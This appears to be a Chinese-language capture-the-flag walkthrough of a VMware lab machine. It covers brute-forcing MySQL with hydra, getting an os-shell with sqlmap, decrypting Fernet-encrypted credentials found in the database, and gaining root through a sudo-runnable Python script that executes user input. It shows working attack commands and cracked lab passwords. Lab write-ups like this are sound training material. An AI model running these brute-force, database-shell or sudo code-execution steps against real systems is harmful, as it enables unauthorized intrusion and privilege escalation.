难度 中
目标 root权限 2个flag
由于靶机是由VMware发行的所以本次靶机的启动环境是VMware
kali 192.168.152.56 靶机 192.168.152.58
信息收集
根据信息1337是一个ssh的登录口,很有可能是内部的docker映射出来的ssh登录口
3306标准的mysql数据库,看来突破口可能是弱口令了
先尝试mysql的弱口令
一般来说尝试几种常见的先比如root admin administrator user superuser等
可以用这个自带的ssh用户名字典
密码字典使用最大的rockyou,rockyou也在这个wordlists目录下但是是压缩包需要自己解压出来使用
使用hydra进行爆破
hydra -L /usr/share/wordlists/legion/ssh-user.txt -P /home/vanish/scripts/rockyou.txt mysql://192.168.152.58
跑的好慢,这里还是直接爆破root用户吧,真的很慢
要跑到这个密码可能要跑一天。。。
反正最后跑出
root / prettywoman
漏洞利用
既然是root用户登录的那么大概率是root的权限
查看一下是否有文件写入的权限
show global variables like '%secure%';
很好没有具体值说明都可以写入,那么可以考虑使用工具,msf应该有对应的利用方式,先使用sqlmap将os-shell提取出来
sqlmap -d mysql://root:prettywoman@192.168.152.58:3306/data --os-shell
使用os-shell发现利用udf失败了,不确定是什么原因,可能是因为不是root用户的权限所以在目录下面没有写的权限
尝试msf上面再试一下
mof只能是Windows才可以利用,看样子可能无法直接用过中间件进行利用了,只能进一步的进行信息收集
在前面看到有个data数据库
看看里面有什么东西
有两串加密的数据
尝试使用base64发现无法解密。
发现原来是这个表的名fernet加密方式。。。
在网上搜了一下发现是使用python的一个东西
可以使用python自带的库进行解密
fernet解密突破边界
from cryptography.fernet import Fernet
# 密钥应该是您加密数据时使用的相同密钥
key = b'您的密钥'
f = Fernet(key)
# 加密的数据(token)需要是字节类型
encrypted_data = b'您的加密数据'
# 解密数据
decrypted_data = f.decrypt(encrypted_data)
print(decrypted_data.decode('utf-8')) # 打印解密后的数据
解出的这个一眼ssh的账号密码
lucy:wJ9`"Lemdv9[FEw-
拿到第一个flag
看了一下不是docker容器那么拿到这个的root权限就是的了
提权
接下来应该是信息收集了
看一下exp是个什么东西
太直白了,exec执行python代码。。。
直接sudo执行
sudo /usr/bin/python2 /opt/exp.py
然后输入
import os;os.system("id")
这里因为使用的是raw_input所以输入不要加引号,直接输入代码就可以了。
拿到最后一个flag
后记:
数据库确实是mysql用户启动的难怪有些目录还是没有写入的权限。
靶场也是比较简单,主要考了一个fernet加密,感觉有点水。